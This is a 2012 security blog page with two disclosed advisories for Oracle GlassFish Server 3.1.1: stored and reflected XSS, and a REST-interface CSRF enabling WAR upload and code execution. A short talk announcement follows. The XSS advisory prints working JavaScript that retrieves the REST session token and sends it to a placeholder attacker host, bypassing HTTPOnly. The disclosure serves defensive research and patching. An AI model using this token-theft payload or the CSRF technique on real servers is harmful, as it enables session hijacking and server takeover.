Thursday, 19 April 2012

Oracle GlassFish Server - Multiple Cross Site Scripting Vulnerabilities

Following disclosure of Oracle bugs, here is another bug found in Oracle GlassFish Server 3.1.1. The interesting part of this advisory is the exploit. When looking at the features of the Oracle GlassFish Server, I have noticed that with a XSS it would be possible to steal the session token and bypass HTTPOnly protection. I have found this condition to be true if a user is authenticated to the REST interface, which does not have the same security controls of the main web administrative interface. Quite an interesting point to keep in consideration when testing applications that come with a standard interface and a REST interface as well.


Vendor Site: Oracle (
Date: April, 19th 2012 – CVE 2012-0551
Affected Software: Oracle GlassFish Server 3.1.1 (build 12)
Researcher: Roberto Suggi Liverani

Description has discovered that components of the Oracle GlassFish Server administrative web
interface are vulnerable to both reflected  and stored  Cross Site Scripting attacks. All pages where Cross Site
Scripting vulnerabilities were discovered require authentication.

Reflected Cross Site Scripting 

Reflected Cross Site Scripting was discovered in multiple parts of the application.
The table below details where Reflected Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected Method Variable

 GET  appName

 GET  configName
** Works in Internet Explorer (content sniffing)

 GET  key

Stored Cross Site Scripting

The table below details where Stored Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected Rendered Page Method Variable
 /management/domain/create-password-alias  /management/

 POST  id
** requires a valid javax.faces.ViewState


 POST  propertyForm%3

Stored Cross Site Scripting - POST Request – REST Interface

POST /management/domain/create-password-alias HTTP/1.1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 126 

Stored Cross Site Scripting - POST Request – Standard Web Interface

POST /common/appServer/pswdAliasNew.jsf HTTP/1.1 
Faces-Request: partial/ajax 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
Content-Length: 889 
Cookie: JSESSIONID=146c28566608602e3a73ab65f07c; treeForm_tree-hi=treeForm:tree:nodes 


These vulnerabilities can be exploited in several ways. One example is to include an external JavaScript file,
such as a JavaScript hook file provided by BeEF, the browser exploitation framework. In this particular case, it
is possible to steal the authentication token through the REST interface, bypassing the HTTPOnly protection adopted for the JSESSIONID token in the standard web administrative interface.

Bypassing HTTPOnly protection and token theft via REST interface

There is a feature in Oracle Glassfish Server which allows using cookie as a session management mechanism instead of Basic Authentication within the REST interface.

This feature can be misused using a Cross Site Scripting vulnerability. An exploit scenario for both stored and
reflected Cross Site Scripting vulnerabilities would be to inject a JavaScript payload which performs an XMLHTTPRequest (XHR) request to retrieve a valid session token via the REST interface.

The following exploit can be used to retrieve and steal a session token in case a user is authenticated to the REST Interface, using Basic Authentication. The token can only be used with a cookie named gfresttoken within the REST interface.

Bypassing HTTPOnly and Stealing Session Token
function retrieveToken() 
var xmlhttp; 
if (window.XMLHttpRequest) 
  {// code for IE7+, Firefox, Chrome, Opera, Safari 
  xmlhttp=new XMLHttpRequest(); 
  {// code for IE6, IE5 
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
  if (xmlhttp.readyState==4 && xmlhttp.status==200) 
return xmlhttp; 
function stealToken(a) 
jsonObj = JSON.parse(a.responseText); // token retrieved and can be sent to attacker 
a = document.createElement("IMG"); 
a.setAttribute('src', 'http://attackersite/?token='+jsonObj.extraProperties.token); 
document.body.appendChild(a); // time to grab the token 
// this exploit works with browsers that have native JSON support 
var a = retrieveToken();// perform XHR to retrieve token 
setTimeout('stealToken(a);',12000); // needs time to load the token, then sends it to 
// attacker then needs to set a cookie named gfresttoken with the token value obtained. The 
cookie has to be valid for the domain/IP address of the target Oracle Glassfish Server


Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -
April 2012. recommends applying the latest patch provided by the vendor.
For more information, visit:

Oracle GlassFish Server - REST CSRF

Time for some disclosure. Below, details of a CSRF bug discovered in Oracle GlassFish Server 3.1.1 few months ago. Interesting to observe that Oracle rates this as the third most critical bug fixed among the Oracle Sun Products. I guess that's because of the exploit which was included in the original report and which I am releasing as part of this advisory. I found a curios angle to exploit this bug, as arbitrary file upload of a WAR archive can be performed. A quite cool way to exploit a CSRF and own Oracle GlassFish, if you ask me :-). Enjoy.


Vendor Site: Oracle (
Date: April, 19th 2012 – CVE 2012-0550
Affected Software: Oracle GlassFish Server 3.1.1 (build 12)
Researcher: Roberto Suggi Liverani

Description has discovered that the Oracle GlassFish Server REST interface is vulnerable to Cross
Site Request Forgery  (CSRF) attacks. Although the javax.faces.ViewState is employed in the standard web administrative interface and it prevents such attacks, the REST interface remains vulnerable, as shown in the Proof-of-Concept (PoC) below.


Cross Site Request Forgery attacks can target different functionality within an application. In this case, as an example, it is possible to force an authenticated administrator user into uploading an arbitrary WAR archive, which can be used to gain remote code execution on the server running the Oracle GlassFish Server application.

The Proof-of-Concept (PoC) below has been successfully tested with Firefox 8.0.1 and Chrome 15.0.874.121 with Basic Authentication enabled.

Arbitrary WAR Archive File Upload – CSRF PoC

Oracle GlassFish Server 3.1.1 (build 12) - CSRF arbitrary file upload

by Roberto Suggi Liverani - This is a Proof-of-Concept - the start() function can be invoked automatically. The CSRF upload technique used in this case is a slight variation of the technique demonstrated here: Other pieces of code were taken from:
Solution Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - April 2012. recommends applying the latest patch provided by the vendor. For more information, visit:

Monday, 16 April 2012

Presenting at Hack In The Box Amsterdam 2012 - HITB2012AMS

In about six weeks time, I will be in .eu presenting at Hack In The Box Amsterdam 2012. I am very excited about it as that will be my first HITB conference. Also, the speakers line-up and conference agenda are impressive.

This time, I will be presenting with Scott Bell, my colleague at The presentation will cover the results of our research which focuses on browser bug hunting. Certainly, there is no fun without dropping some 0days... so expect to see some cool bugs if you are attending our talk. If not, you will be able to grab demos, videos and slides following the conference.

Here is the talk abstract:

Window Shopping: Browser Bug Hunting in 2012

Web browsers have become part of everyday life, and are relied upon by millions of internet citizens each day. The feature rich online world has turned the once simple web browser into a highly complex (and very often insecure) desktop application.
As browser vendors have extended functionality and support to new technologies, security researchers and hackers are continuously looking for new vulnerabilities. In this talk, Roberto and Scott will share results of their assiduous browser bug hunting. The talk will examine techniques used to discover critical and less severe vulnerabilities in some of the most popular browsers on the market.

This talk will focus heavily (but not exclusively) on the following areas:

- Memory corruption bugs;
- New approaches to DOM fuzzing;
- Old school techniques against new browser technology;
- Cross Context Scripting and injection attacks;
- SOP Bypass;

The presentation will conclude with a montage of on-stage demonstrations of previously unreleased vulnerabilities, including remote code execution, injections and other tailored browser exploits.

If you are attending the conference, please don't forget to pass by and say 'hi' ;-)